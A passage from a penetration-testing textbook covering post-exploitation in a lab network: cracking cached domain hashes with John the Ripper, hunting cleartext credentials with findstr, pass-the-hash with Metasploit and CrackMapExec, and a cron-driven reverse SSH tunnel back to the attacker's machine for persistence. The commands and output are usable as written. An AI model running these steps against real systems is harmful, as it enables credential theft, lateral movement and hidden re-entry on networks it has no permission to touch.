8.6 Installing John the Ripper from source A single cached domain account password hash 145 Harvesting domain cached credentials Resolving deltas: 100% (71539/71539), done. cd JohnTheRipper/src ./configure make -s clean && make -sj4 To use John to attempt to crack the cached domain credentials, you first need to place them in a file. Create a file called cached.txt, and paste in the contents of your cached domain hashes obtained from the Metasploit post module. Using the example from listing 8.5, the file would contain the following: tien:$DCC2$10240#tien#6aaafd3e0fd1c87bfdc734158e70386c:: You can now start to brute-force attempt randomly generated passwords against this file by navigating into the JohnTheRipper directory and typing the following command: ./run/john –format=mscash2 cached.txt. Brute force means you start with a char- acter set. The full character set for a US standard keyboard includes a–z, A–Z, 0–9, and all the special characters. Using the set of characters you specify, John program- matically iterates through every possible combination of characters that can be made for a given password length. For example, when brute-force guessing a three-character password using only lowercase alphabet characters, you would try aaa, aab, aac, aad . . . all the way to zzz. The formula for determining how many possibilities there are is the number of individual characters in the character set raised to the power of the pass- word length you’re trying to guess. So, if you wanted to brute-force all possible 8-character passwords using uppercase letters, lowercase letters, and numbers (26 + 26 + 10 = 62), you would have to guess 62 × 62 × 62 × 62 × 62 × 62 × 62 × 62 = 218 trillion possible passwords. Increase the password length from 8 to 10 characters, and the number goes up to 839 quadrillion. Using default input encoding: UTF-8 Loaded 1 password hash (mscash2, MS Cache Hash 2 (DCC2) [PBKDF2-SHA1 256/256 AVX2 8x]) Will run 2 OpenMP threads Proceeding with single, rules:Single Press 'q' or Ctrl-C to abort, almost any other key for status Warning: Only 2 candidates buffered for the current salt, minimum 16 needed for performance. Almost done: Processing the remaining buffered candidate passwords, if any. Proceeding with wordlist:./run/password.lst 0g 0:00:00:11 27.93% 2/3 (ETA: 12:40:26) 0g/s 4227p/s 4227c/s 4227C/s rita5..transfer5yes Proceeding with incremental:ASCII Listing 8.7 Running John the Ripper without a dictionary file Configures the source packages Makes and installs John the Ripper Performing incremental ASCII- based brute-force guessing 146 CHAPTER 8 Windows post-exploitation The brute-force method is painfully slow when strong passwords are in use because it literally has to attempt every possible combination of letters, numbers, and special characters. Theoretically, if given enough time, this method is guaranteed to produce the correct password eventually; however, based on the size and complexity of the pass- word you are trying to crack, it could take millennia or eons to guess the right combi- nation. You shouldn’t completely discount raw brute-forcing, though, because people come up with surprisingly weak passwords that can be brute-forced easily. That said, it isn’t practical most of the time without using a multiple-GPU password-cracking rig, which is a topic that is beyond the scope of this chapter. A more practical approach is to use a dictionary file containing common words and guess only the words in the list. Since the password you’re trying to crack was thought up by a human (presumably), it has a better-than-average chance of containing human- readable text rather than randomly generated numbers letters and symbols. 8.4.3 Using a dictionary file with John the Ripper The internet is full of useful dictionary files, some of them tens of gigabytes in size containing trillions of entries. As you would expect, the larger the dictionary file, the longer it takes to get through the list. You could have a dictionary file that was so large it would reach a point of diminishing returns, in which case you might as well brute- force an entire character set. There is a somewhat famous dictionary file called the Rockyou dictionary that’s a favorite among hackers and pentesters. It’s a lightweight file containing a bit more than 14 million passwords that have been collected throughout various publicly dis- closed password breaches from real companies. If you are trying to crack a lot of pass- word hashes, there is a strong possibility that at least one of them exists in the Rockyou dictionary. Download the .txt file to your attacking machine using this URL: http://mng.bz/DzMn. Use wget to download the file from a terminal window; notice the size of the file after it’s downloaded. --2019-11-20 12:58:12-- https://github.com/brannondorsey/naive hashcat/releases/download/data/rockyou.txt Resolving github.com (github.com)... 192.30.253.113 Connecting to github.com (github.com)|192.30.253.113|:443... connected. HTTP request sent, awaiting response... 302 Found Connecting to github-production-release-asset-2e65be.s3.amazonaws.com (github-production-release-asset 2e65be.s3.amazonaws.com)|52.216.104.251|:443... connected. HTTP request sent, awaiting response... 200 OK Length: 139921497 (133M) [application/octet-stream] Saving to: 'rockyou.txt' 2019-11-20 12:58:18 (26.8 MB/s) - ‘rockyou.txt’ saved [139921497/139921497] Once you’ve downloaded the Rockyou dictionary, you can rerun the John the Ripper command. But this time, add the --wordlist=rockyou.txt option to the command Listing 8.8 Downloading the rockyou.txt dictionary file The rockyou.txt file is 133 MB of text. 147 Harvesting credentials from the filesystem at runtime to tell John not to brute-force random characters but instead to guess the passwords in the dictionary you provided: ~$ ./run/john --format=mscash2 cached.txt --wordlist=rockyou.txt In the case of the Capsulecorp pentest, we’re in luck: the password was in the file, as shown in the following output. In just over eight minutes, John found that the pass- word for the tien domain account is Password82$: Using default input encoding: UTF-8 Loaded 1 password hash (mscash2, MS Cache Hash 2 (DCC2) [PBKDF2-SHA1 256/256 AVX2 8x]) Will run 2 OpenMP threads Press 'q' or Ctrl-C to abort, almost any other key for status Password82$ (tien) 1g 0:00:08:30 DONE (2019-11-21 11:27) 0.001959g/s 4122p/s 4122c/s 4122C/s Patch30..Passion7 Use the "--show --format=mscash2" options to display all of the cracked passwords reliably Session completed Of course, you won’t always get lucky and crack the hash you’re trying to break in eight minutes, or at all. Password cracking is a numbers game; the more hashes you obtain from users, the greater your chances that one of the users has a bad password. In most cases, users do the bare minimum when it comes to password complexity because people are typically annoyed by having to set complex passwords in the first place. If the organization you’re targeting has a weak password policy, you’ll likely have success with password cracking. Password cracking is a useful skill for pentesters to have. That said, it isn’t the only way to obtain credentials that can be used to access level-two hosts. It’s also possible and surprisingly common to find credentials written in clear text stored somewhere on the filesystem; you just have to know where and how to look for them. 8.5 Harvesting credentials from the filesystem Easily one the most underrated (and possibly most tedious) activities is pilfering through the filesystem of a compromised target looking for juicy bits of information like usernames and passwords. This concept is analogous to somebody breaking into your home and rifling through papers on your desk looking for anything they can find, such as a sticky note with your computer password or a bank statement with wire- transfer routing instructions. Just as a home invader would intuitively search common places where people are likely to hide things, Windows computer systems contain files and folders that are commonly used to store credentials. There’s no guarantee that you’ll find something on every system you check, but you will find things often enough that you should always look, especially if you haven’t had success elsewhere. Specifies the --wordlist option to tell John where the dictionary is The password was cracked because it was in the dictionary file. 148 CHAPTER 8 Windows post-exploitation First, consider what the system you are trying to compromise is being used for. For example, does it have a web server? If so, can you decipher from the HTTP headers what type of web server it is? Web servers are almost always used in conjunction with a backend database. Because the web server needs to be able to authenticate to the backend database, it’s not uncommon to find configuration files containing clear-text database credentials. As you discovered in chapter 6, having valid database credentials can be a great way to compromise a target system remotely. Rather than try to memorize all of the different file paths where you might find an instance of IIS, Apache, or another web server installed, it’s easier to learn the names of useful files that often contain database credentials and then use the Windows find command to search the filesystem for these files (see table 8.3). Additionally, you may find arbitrary files in users’ home directories. Users frequently store passwords in clear-text Word documents and text files. You won’t know the name of the file in advance, and sometimes there is no substitution for manually investigating the contents of every file in a user’s home directory. That said, when you do know what you are looking for, a couple of useful Windows commands can help you: findstr and where are two great examples. 8.5.1 Locating files with findstr and where Now that you know which files to look for, the next concept to understand is how to locate them. Presumably you won’t have graphical user interface (GUI) access to com- promised targets, so opening Windows File Explorer and using the search bar proba- bly is not an option. But Windows has a command-line tool that works just as well: the findstr command. The findstr command has two use cases on a pentest. The first is if you want to find all files on the filesystem that contain a given string such as “password=”. The sec- ond is to locate a specific file such as tomcat-users.xml. The following command searches the entire filesystem for any files that contain the string “password=”: findstr /s /c:"password=" Table 8.3 Configuration files containing credentials Filename Service web.config Microsoft IIS tomcat-users.xml Apache Tomcat config.inc.php PHPMyAdmin sysprep.ini Microsoft Windows config.xml Jenkins Credentials.xml Jenkins 149 Moving laterally with Pass-the-Hash The /s flag tells findstr to include subdirectories, /c: tells findstr to begin the search at the root of the C: drive, and "password=" is the text string you want findstr to search for. Be prepared for the command to take a long time because it is literally looking for your string in the contents of every file on the system. It’s obviously very thorough, but the trade-off is that it can be a slow process. Depending on your situa- tion, it may be more advantageous to first locate specific files and then use findstr to search their contents. This is where the where command comes in handy. Using table 8.3 as a reference point, if you want to locate the file tomcat-users.xml, which might contain clear-text credentials, you can use the where command like this: where /r c:\ tomcat-users.xml The where command is much faster because it doesn’t need to work nearly as hard. The /r option tells where to search recursively, c:\ tells it to begin the search at the root of the C: drive, and tomcat-users.xml is the name of the file to locate. Either method—findstr or where—will work well, depending on whether you’re searching for a specific filename or a file containing a particular string. 8.6 Moving laterally with Pass-the-Hash As mentioned in previous chapters, Windows’ authentication mechanisms allow users to authenticate without providing a clear-text password. Instead, if a user has the 32- character NTLM hashed equivalent of a password, that user is permitted to access the Windows system. This design characteristic, in combination with the fact that IT and systems administrators often reuse passwords, presents an opportunistic attack vector for hackers and pentesters alike. This technique is referred by the cheeky name Pass- the-Hash or passing-the-hash. The concept behind this attack vector is as follows: 1 You have successfully managed to compromise one or more Windows systems (your level-one targets) because of a vulnerability that you discovered during information gathering. 2 You have extracted the local user account password hashes to the Windows systems. 3 You want to see if you can use the passwords to log in to adjacent network hosts (level-two targets). This is particularly rewarding from a pentester’s perspective because if it weren’t for the shared credentials, you might not have been able to access these adjacent hosts (since they weren’t affected by any discoverable vulnerabilities or attack vectors). As I mentioned earlier, in the spirit of gamification and keeping this fun and interesting, I like to refer to these newly accessible targets as level-two targets. If it helps the illustra- tion, think of a Zelda-style video game: you’ve moved around the board, killed all the monsters you could, and, after finally gaining access to a special key, unlocked a new area to explore—level two, if you will. 150 CHAPTER 8 Windows post-exploitation Once again, you can use the Meterpreter shell you obtained in the previous chap- ter to harvest the local user account password hashes by issuing the hashdump com- mand from the Meterpreter prompt, as follows: meterpreter > hashdump Administrator:500:aad3b435b51404eeaad3b435b51404ee:c1ea09ab1bab83a9c9c1f1c 66576737::: Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c ::: HomeGroupUser$:1002:aad3b435b51404eeaad3b435b51404ee:6769dd01f1f8b61924785 de2d467a41::: tien:1001:aad3b435b51404eeaad3b435b51404ee:5266f28043fab71a085eba2e392d388 ::: meterpreter > It’s best to repeat this next process from section 8.6.1 for all local user account pass- word hashes you obtain. But for the sake of illustration, I’m going to use only the local administrator account. You can always identify this account on Windows systems because the UID is set to 500. By default, the name of the account is Administrator. Sometimes IT system administrators rename the account in an attempt to hide it. Unfortunately, Windows does not allow you to modify the UID, so there is no mistak- ing the account. Now that you’ve obtained some local account password hashes, the next logical step is to use them to try to authenticate to other systems on the network. This process of tak- ing a hash obtained from one system and attempting to log in to other systems with it is once again called passing the hash. 8.6.1 Using the Metasploit smb_login module Due to the popularity of the Pass-the-Hash attack, several tools are available to get the job done. Sticking with the primary workhorse of this pentest, let’s continue using Metasploit. The smb_login module can be used to test for shared credentials against Windows systems. It accepts clear-text passwords, which you may recall we used in chapter 4. Additionally, it accepts password hashes. Here is how to use the module with a password hash. What if local admin is disabled? It’s true that you can disable the local administrator account, which is considered by many to be a best practice. After all, doing so prevents attackers from using the local password hashes to spread throughout the network. That said, in almost every case where I’ve seen the UID 500 account disabled, the IT system administrators have created a separate account with administrator privi- leges, which completely defeats the purpose of disabling the default local admin account. 151 Moving laterally with Pass-the-Hash If you already have the msfconsole running and are sitting at the Meterpreter prompt from your recent exploit, type the background command to exit the Meter- preter prompt and return to the main msfconsole prompt. In msfconsole, type use auxiliary/scanner/smb/smb_login at the command prompt to load the smb_login module. Next, specify the name of the user account you want to test with the command: set user administrator. Specify the hash for the local administrator account with the command set smbpass [HASH]. The smbdomain option can be used to specify an Active Directory domain. WARNING It’s critical to be cautious with the smbdomain setting, because brute-force guessing Active Directory account passwords will most likely result in locking out users’ accounts. That won’t make your client happy. Even though the default behavior in Metasploit is not to do this, I recommend explicitly setting the value to “.” In Windows, this means the local workgroup. It will force Metasploit to attempt to authenticate as a local user account and not a domain user account. Finally, set the rhosts and threads options appropriately, and run the module. The output in the following listing shows what it looks like when the smb_login module has successfully authenticated to a remote host using the provided username and pass- word hash. msf5 exploit(windows/smb/ms17_010_psexec) > use auxiliary/scanner/smb/smb_login msf5 auxiliary(scanner/smb/smb_login) > set smbuser administrator smbuser => administrator msf5 auxiliary(scanner/smb/smb_login) > set smbpass aad3b435b51404eeaad3b435b51404ee:c1ea09ab1bab83a9c9c1f1c366576737 smbpass => aad3b435b51404eeaad3b435b51404ee:c1ea09ab1bab83a9c9c1f1c366576737 msf5 auxiliary(scanner/smb/smb_login) > set smbdomain . smbdomain => . msf5 auxiliary(scanner/smb/smb_login) > set rhosts file:/home/royce/capsulecorp/discovery/hosts/windows.txt rhosts => file:/home/royce/capsulecorp/discovery/hosts/windows.txt msf5 auxiliary(scanner/smb/smb_login) > set threads 10 threads => 10 msf5 auxiliary(scanner/smb/smb_login) > run [*] 10.0.10.200:445 - 10.0.10.200:445 - Starting SMB login bruteforce [*] 10.0.10.201:445 - 10.0.10.201:445 - Starting SMB login bruteforce [*] 10.0.10.208:445 - 10.0.10.208:445 - Starting SMB login bruteforce [*] 10.0.10.207:445 - 10.0.10.207:445 - Starting SMB login bruteforce [*] 10.0.10.205:445 - 10.0.10.205:445 - Starting SMB login bruteforce [*] 10.0.10.206:445 - 10.0.10.206:445 - Starting SMB login bruteforce [*] 10.0.10.202:445 - 10.0.10.202:445 - Starting SMB login bruteforce [*] 10.0.10.203:445 - 10.0.10.203:445 - Starting SMB login bruteforce [-] 10.0.10.201:445 - 10.0.10.201:445 - Failed: '.\administrator:aad3b435b51404eeaad3b435b51404ee:c1ea09ab1bab83a9c9c1f1c3 6576737', Listing 8.9 Passing the hash with Metasploit 152 CHAPTER 8 Windows post-exploitation [+] 10.0.10.208:445 - 10.0.10.208:445 – Success '.\administrator:aad3b435b51404eeaad3b435b51404ee:c1ea09ab1bab83a9c9c1f1c3 6576737' Administrator [+] 10.0.10.207:445 - 10.0.10.207:445 – Success '.\administrator:aad3b435b51404eeaad3b435b51404ee:c1ea09ab1bab83a9c9c1f1c3 6576737' Administrator [-] 10.0.10.200:445 - 10.0.10.200:445 - Failed: '.\administrator:aad3b435b51404eeaad3b435b51404ee:c1ea09ab1bab83a9c9c1f1c3 6576737', [*] Scanned 1 of 8 hosts (12% complete) [*] Scanned 2 of 8 hosts (25% complete) [-] 10.0.10.203:445 - 10.0.10.203:445 - Failed: '.\administrator:aad3b435b51404eeaad3b435b51404ee:c1ea09ab1bab83a9c9c1f1 c366576737', [-] 10.0.10.202:445 - 10.0.10.202:445 - Failed: '.\administrator:aad3b435b51404eeaad3b435b51404ee:c1ea09ab1bab83a9c9c1f1 c366576737', [*] Scanned 6 of 8 hosts (75% complete) [-] 10.0.10.206:445 - 10.0.10.206:445 - Could not connect [-] 10.0.10.205:445 - 10.0.10.205:445 - Could not connect [*] Scanned 7 of 8 hosts (87% complete) [*] Scanned 8 of 8 hosts (100% complete) [*] Auxiliary module execution completed msf5 auxiliary(scanner/smb/smb_login) > 8.6.2 Passing-the-hash with CrackMapExec You may recall from a previous chapter that we used CrackMapExec (CME) to guess passwords against Windows hosts. It is also possible to use password hashes instead of passwords to authenticate using CME. Instead of specifying the -p option for pass- word, specify the -H option for your hash. CME is intuitive enough that you can ignore the LM portion of the hash and only provide the last 32 characters: the NTLM por- tion. Table 8.4 shows the local account password hash extracted from section 8.6 bro- ken into its two versions, LM and NTLM. As a reminder, LM hashes were used before Windows XP and Windows 2003 when NTLM hashes were introduced. This means you are unlikely to encounter a Windows network that doesn’t support NTLM hashes—at least until long after Microsoft intro- duces a newer version. Table 8.4 Windows local account hash structure LAN Manager (LM) New Technology LAN Manager (NTML) First 32 characters Second 32 characters aad3b435b51404eeaad3b435b51404ee c1ea09ab1bab83a9c9c1f1c366576737 As expected, a successful login to the host from which you extracted hashes Newly accessible level-two host that shares the same local administrator password 153 Moving laterally with Pass-the-Hash TIP Commit to memory at least the first six or seven characters of this string: “aad3b435b51404eeaad3b435b51404ee.” This is the LM hashed equivalent of an empty string, meaning there is no LM hash, further meaning that LM hashes aren’t supported or in use on this system. If you ever see anything other than this value in the LM portion of a hash, you should immediately write up a critical severity finding in your report, as discussed in more detail in chapter 12. Using only the NTLM portion of your hash, you can perform the Pass-the-Hash tech- nique with CrackMapExec using the following command all on one line: cme smb capsulecorp/discovery/hosts/windows.txt --local-auth -u ➥ Administrator -H c1ea09ab1bab83a9c9c1f1c366576737 The output in listing 8.10 shows exactly the same information as the Metasploit mod- ule, with an additional bonus: it includes the hostnames of the two systems that are now accessible. TIEN was already accessible because it was missing the MS17-010 secu- rity patch and could be exploited using Metasploit. CME 10.0.10.200:445 GOKU [*] Windows 10.0 Build 17763 (name:GOKU) (domain:CAPSULECORP) CME 10.0.10.207:445 RADITZ [*] Windows 10.0 Build 14393 (name:RADITZ) (domain:CAPSULECORP) CME 10.0.10.208:445 TIEN [*] Windows 6.1 Build 7601 (name:TIEN) (domain:CAPSULECORP) CME 10.0.10.201:445 GOHAN [*] Windows 10.0 Build 14393 (name:GOHAN) (domain:CAPSULECORP) CME 10.0.10.202:445 VEGETA [*] Windows 6.3 Build 9600 (name:VEGETA) (domain:CAPSULECORP) CME 10.0.10.203:445 TRUNKS [*] Windows 6.3 Build 9600 (name:TRUNKS) (domain:CAPSULECORP) CME 10.0.10.207:445 RADITZ [+] RADITZ\Administrator c1ea09ab1bab83a9c9c1f1c366576737 (Pwn3d!) CME 10.0.10.200:445 GOKU [-] GOKU\Administrator c1ea09ab1bab83a9c9c1f1c366576737 STATUS_LOGON_FAILURE CME 10.0.10.201:445 GOHAN [-] GOHAN\Administrator c1ea09ab1bab83a9c9c1f1c366576737 STATUS_LOGON_FAILURE CME 10.0.10.203:445 TRUNKS [-] TRUNKS\Administrator c1ea09ab1bab83a9c9c1f1c366576737 STATUS_LOGON_FAILURE CME 10.0.10.202:445 VEGETA [-] VEGETA\Administrator c1ea09ab1bab83a9c9c1f1c366576737 STATUS_LOGON_FAILURE CME 10.0.10.208:445 TIEN [+] TIEN\Administrator c1ea09ab1bab83a9c9c1f1c366576737 (Pwn3d!) Listing 8.10 Using CrackMapExec to pass the hash RADITZ is a newly accessible level-two host that shares the same local administrator password. As expected, a successful login to the host from which you extracted hashes 154 CHAPTER 8 Windows post-exploitation RADITZ is the newly accessible level-two host that appears to be using the same set of credentials for the local administrator account. Compromising this host will be easy with administrator credentials. Now you can access all your level-two hosts and per- form the post-exploitation techniques from this chapter on those systems, potentially unlocking access to even more systems. You should rinse and repeat for any new tar- gets that become accessible to you. Summary  The three key objectives during post-exploitation are maintaining reliable re- entry, harvesting credentials, and moving laterally.  You can use the persistence Meterpreter script for an automated long-term con- nection to compromised targets.  You can obtain credentials in the form of local account password hashes, domain cached credentials, and clear-text passwords from memory or configu- ration files.  Password cracking with a dictionary file is more practical than pure brute-force guessing. The trade-off is that it takes less time but will get you fewer passwords.  You should try to log in to other systems using the credentials you’ve obtained. Exercise 8.1: Accessing your first level-two host Using the local user account password hashes obtained from tien.capsulecorp .local . . ., perform the Pass-the-Hash technique with either Metasploit or CME. Find the newly accessible RADITZ system, which previously had no known attack vectors but is accessible because it shares credentials with TIEN. There is a file called c:\flag.txt on the raditz.capsulecorp.local server. What is in the file? The answer is in appendix E. 155 Linux or UNIX post-exploitation In the last chapter, we discussed the three main components of Windows post- exploitation, which you will recall are the following:  Maintaining reliable re-entry  Harvesting credentials  Moving laterally These are the same for Linux- or UNIX-based systems; the only difference is the tech- niques used to do them. A strong pentester is OS-agnostic. It doesn’t matter if you’re on a Windows machine, FreeBSD UNIX, CentOS Linux, or macOS. You should know enough about where to find credentials, how to establish reliable re-entry, and how to move laterally to succeed during any engagement. In this chapter, you will This chapter covers  Harvesting credentials from .dot files  Tunneling through SSH connections  Automating SSH pubkey authentication with bash  Scheduling a reverse callback using cron  Escalating privileges with SUID binaries 156 CHAPTER 9 Linux or UNIX post-exploitation learn several post-exploitation techniques for penetrating further into Linux or UNIX environments. Let’s begin by quickly reviewing the three primary components (figure 9.1) of post-exploitation and privilege escalation. Looking at figure 9.1 from the bottom up, your primary objectives during post- exploitation are maintaining reliable re-entry, harvesting credentials, and moving lat- erally to newly accessible level-two targets. In the case of Linux or UNIX environ- ments, one of the most effective ways to maintain reliable re-entry is to schedule a callback connection using cron jobs. That’s what you’ll learn to do in the next section. DEFINITION Linux and UNIX systems have a built-in subsystem called cron, which executes scheduled commands at predetermined intervals. A crontab is a file with a list of entries that define when cron should execute a command and which command to execute. 9.1 Maintaining reliable re-entry with cron jobs In chapter 8, you learned about the importance of maintaining reliable re-entry into a compromised target during a pentest. The Metasploit Meterpreter shell was used to demonstrate a scheduled callback from the victim machine to your attacking platform. Although a similar capability is possible using the exploit/linux/local/service_ persistence module from Metasploit, I want to show you an alternative method that uses more of a living-off-the-land approach: scheduling a Linux or UNIX cron job that sends you a reverse shell connection automatically each time the job is run by the OS. DEFINITION When you hear pentesters or red teamers use the phrase living off the land, it refers to relying only on tools that exist natively on the compro- mised OS. This is done to minimize your attack footprint and decrease your overall likelihood of being detected by an endpoint detection and response (EDR) solution during your engagement. C. Repeat password guessing using discovered credentials and SSH keys to unlock access to level-2 targets. B. Locate clear-text and hashed credentials from all level-1 targets. A. Establish an SSH tunnel that automatically connects back to you using cron. Level 2: Newly accessible targets Move laterally Pass stolen SSH keys Search bash history records Search config files Search user .dot files and directories Automate reverse callback with cron Harvest credentials Maintain reliable re-entry Level 1: Initial compromised targets Figure 9.1 Post-exploitation goals and objectives 157 Maintaining reliable re-entry with cron jobs Because you’re a professional pentester and the security of your client is important to you, the safest way to establish reliable re-entry with cron jobs is to upload a set of SSH keys to the target system, create a bash script that initiates an outbound SSH connec- tion to your attacking machine, and then configure the crontab to run the bash script automatically. Using a unique SSH key that you create specifically for this system will ensure that the compromised system will authenticate only to your attacking machine when the cron job is run. Here is how to set everything up (see figure 9.2): 1 Create a new pair of SSH keys. 2 Upload them to the compromised target. 3 Create a bash script on the compromised target that uses the SSH keys to initi- ate an SSH tunnel to your attacking system. 4 Schedule a crontab entry to run the bash script. 9.1.1 Creating an SSH key pair To set up SSH key authentication from your victim machine to your attacking machine, you need to use the ssh-keygen command to create the public and private key pairs on the victim machine, and then copy the public key to your attacking machine. Because you’ve already escalated to root, as I have demonstrated using the Capsulecorp Pentest network, switch to the root user’s .ssh directory and issue the ssh-keygen -t rsa command to generate the new key pair (listing 9.1). WARNING Be sure to specify a unique name for the key so you don’t acciden- tally overwrite any existing SSH keys for the root user. In this instance, it’s OK to leave the password field blank so the cron job can execute seam- lessly and authenticate to your attacking machine without prompting for a password. A. Upload a fresh pair of SSH keys to the compromised target. B. Create a bash script that will use the SSH keys to connect back to your attacking machine, establishing a tunnel to the compromised target. Penetration tester SSH keys Compromised target Crontab entry runs bash script Bash script to call back C. Schedule a crontab entry to execute the script periodically. Figure 9.2 Setting up an SSH reverse callback script using cron 158 CHAPTER 9 Linux or UNIX post-exploitation ~$ ssh-keygen -t rsa Generating public/private rsa key pair. Enter file in which to save the key (/root/.ssh/id_rsa): /root/.ssh/pentestkey Enter passphrase (empty for no passphrase): Enter same passphrase again: Your identification has been saved in /root/.ssh/pentestkey. Your public key has been saved in /root/.ssh/pentestkey.pub. The key fingerprint is: SHA256:6ihrocCVKdrIV5Uj25r98JtgvNQS9KCk4jHGaQU7UqM root@piccolo The key's randomart image is: +---[RSA 2048]----+ | .o . | | oo. . + | |Eo .o.=o. | |o.++ooo.o | |+@o...+.S. | |Bo*. o.+o | |.o.. .*+. | |. o oo +o. | | ..o. .. o. | +----[SHA256]-----+ Now, on your attacking machine, you need to place a copy of the public key you just created in a valid user’s .ssh/authorized_keys file. I recommend creating a new user account specifically for this purpose and removing the account when you are finished with the engagement. (More on post-engagement cleanup activities in chapter 11.) Use the scp command from the compromised Linux or UNIX system to upload the public key to your attacking machine. Listing 9.2 shows this on the compromised host in the Capsulecorp Pentest network. Of course, this host has never authenticated to your attacking system via SSH—at least, I hope not—so the standard ECDSA key fingerprint error is to be expected. Type yes to allow authentication. Then, when prompted, enter the password for the user account you created on your attacking system to receive the SSH callback. ~$ scp pentestkey.pub royce@10.0.10.160:.ssh/authorized_keys The authenticity of host '10.0.10.160 (10.0.10.160)' can't be established. ECDSA key fingerprint is SHA256:a/oE02nfMZ6+2Hs2Okn3MWONrTQLd1zeaM3aoAkJTpg. Are you sure you want to continue connecting (yes/no)? yes Warning: Permanently added '10.0.10.160' (ECDSA) to the list of known hosts. royce@10.0.10.160's password: pentestkey.pub Listing 9.1 Creating a new SSH key pair Listing 9.2 Using scp to transfer SSH public keys Specifies that the keys will be named pentestkey rather than the default id_rsa No password is specified, so the system can authenticate without user interaction. Give the key a unique name. In this case, “pentestkey” will do. Type yes to allow authentication. Enter the credentials for your SSH user. 159 Maintaining reliable re-entry with cron jobs NOTE Record the location of your SSH key pair on the victim machine in your engagement notes as miscellaneous files that you’ve left on a compromised sys- tem. You will need to remove them during post-engagement cleanup. 9.1.2 Enabling pubkey authentication The next thing to do is test the connectivity using the SSH keys by running ssh royce@10.0.10.160, replacing royce and 10.0.10.160 with your username and IP address. If you have never used SSH keys to authenticate to your attacking system, then you need to make a slight modification to the /etc/ssh/sshd_config file on your attacking machine. Open the file using sudo vim /etc/ssh/sshd_config, and navi- gate to the line containing the PubkeyAuthentication directive. Uncomment this line be removing the preceding # symbol, save the file, and restart your SSH service using the sudo /etc/init.d/ssh restart command. 27 #LogLevel INFO 28 29 # Authentication: 30 31 #LoginGraceTime 2m 32 #PermitRootLogin prohibit-password 33 #StrictModes yes 34 #MaxAuthTries 6 35 #MaxSessions 10 36 37 PubkeyAuthentication yes 38 39 # Expect .ssh/authorized_keys2 to be disregarded by default in future. 40 #AuthorizedKeysFile .ssh/authorized_keys .ssh/authorized_keys2 Finally, to verify that your SSH key is working, switch back to your victim machine and authenticate back to the attacking system by running the ssh royce@10.0.10.160 -i /root/.ssh/pentestkey command. This command uses the -i operand to tell SSH that you want to authenticate with an SSH key and where the key is located. As you can see from the following output, you are placed directly into an authenticated bash prompt without being asked to type your password. ~$ ssh royce@10.0.10.160 -i /root/.ssh/pentestkey Welcome to Ubuntu 18.04.2 LTS (GNU/Linux 4.15.0-66-generic x86_64) * Documentation: https://help.ubuntu.com * Management: https://landscape.canonical.com * Support: https://ubuntu.com/advantage * Kata Containers are now fully integrated in Charmed Kubernetes 1.16! Listing 9.3 Example sshd_config file enabling SSh public key authentication Listing 9.4 Authenticating using an SSH key instead of a password Uncomment this line, and then save and restart your SSH service. Use -i to tell the ssh command that you wish to use an SSH key and where it’s located. 160 CHAPTER 9 Linux or UNIX post-exploitation Yes, charms take the Krazy out of K8s Kata Kluster Konstruction. https://ubuntu.com/kubernetes/docs/release-notes * Canonical Livepatch is available for installation. - Reduce system reboots and improve kernel security. Activate at: https://ubuntu.com/livepatch 240 packages can be updated. 7 updates are security updates. *** System restart required *** Last login: Fri Jan 24 12:44:12 2020 from 10.0.10.204 It’s always important to remember that you are a professional consultant first and a simulated attacker second. Whenever possible, use encryption to communicate with a compromised target on your client’s network. Linux and UNIX environments are per- fect for this because you can tunnel your callback through an encrypted SSH session. This ensures that nobody (perhaps a real attacker who is penetrating the network at the same time you are) can eavesdrop on your network traffic and capture potentially sensitive information such as usernames and passwords for business-critical systems. 9.1.3 Tunneling through SSH Now that your attacking machine is ready to receive connections from your victim, you need to create a simple bash script that will initiate an SSH tunnel from your victim machine to your attacking machine. What I mean by SSH tunnel is that the victim machine will initiate an SSH connection and use port-forwarding to set up an SSH lis- tener on your attacking machine, which you can use to authenticate back to the victim. Don’t worry if that sounds strange at first—I’ll first walk you through the concept and then demonstrate how it’s done: 1 Assume that SSH is listening on the victim machine’s localhost address on TCP port 22. This is an extremely common configuration, so this is a safe assumption. 2 Establish an SSH tunnel from the victim machine to your attacking machine using the SSH key pair you created. 3 While establishing the tunnel, simultaneously use the native SSH port-forwarding capabilities to forward TCP port 22 to a remote port of your choosing on your attacking machine—for example, port 54321, because it’s likely not already in use. 4 From the attacking machine, you can now connect to your localhost IP address on port 54321, which is the SSH service that is listening on your victim machine. All of this “magic,” as I like to call it, can be set up with a single command: ssh -N -R 54321:localhost:22 royce@10.0.10.160 -I /root/.ssh/pentestkey 161 Maintaining reliable re-entry with cron jobs You run the command from the compromised host (victim machine). It might seem a bit strange at first, so take a look at figure 9.3 for a graphical representation of what’s going on. Before running the command, let’s break it down piece by piece. First up is -N, and the SSH manpages say the following: “Do not execute a remote command. This is useful for just forwarding ports.” That’s straightforward. The next section, -R 54321:local- host:22, might need a bit more explaining. The -R operand says you want to forward a port on this (the victim machine) machine to another machine (your attacking machine): a remote machine, hence the letter R. You then have to specify three things:  The port you want to use on your remote machine  The IP address or hostname of the local system (the victim machine). In this case it’s localhost, or you could use the IP address 127.0.0.1 for the same result.  The port from the local machine (the remote port) that you want to forward to your remote machine. The rest of the command should already be familiar: royce@10.0.10.160 is the user- name and IP address used to access the remote machine (in this case, your attacking system), and -i /root/.ssh/pentestkey says that you are going to use an SSH key instead of a password. Now let’s run the command on the compromised Linux host from the Capsulecorp Pentest network and see what happens: ~$ ssh -N -R 54321:localhost:22 royce@10.0.10.160 -i /root/.ssh/pentestkey Interestingly, the command appears to hang; you don’t see a prompt or any sign that something is happening. But if you head over to your attacking machine and run netstat -ant |grep -i listen, you will see port 54321 listening on your machine. The following listing shows what you can expect to see from the netstat command after initiating the SSH tunnel from the compromised Linux host. ssh pentest@localhost -p 54321 ssh -N -R 54321:localhost:22 royce@10.0.10.160 SSH listening on port 22 Victim machine: 10.0.10.170 SSH tunnel pentest@10.0.10.170#~ Terminal Figure 9.3 Forwarding ports through an SSH tunnel 162 CHAPTER 9 Linux or UNIX post-exploitation ~$ netstat -ant |grep -i listen tcp 0 0 127.0.0.1:54321 0.0.0.0:* LISTEN tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN tcp 0 0 127.0.0.1:631 0.0.0.0:* LISTEN tcp 0 0 127.0.0.1:5432 0.0.0.0:* LISTEN tcp6 0 0 ::1:54321 :::* LISTEN tcp6 0 0 :::22 :::* LISTEN tcp6 0 0 ::1:631 :::* LISTEN Port 54321 on your attacking machine is actually the forwarded port 22 from 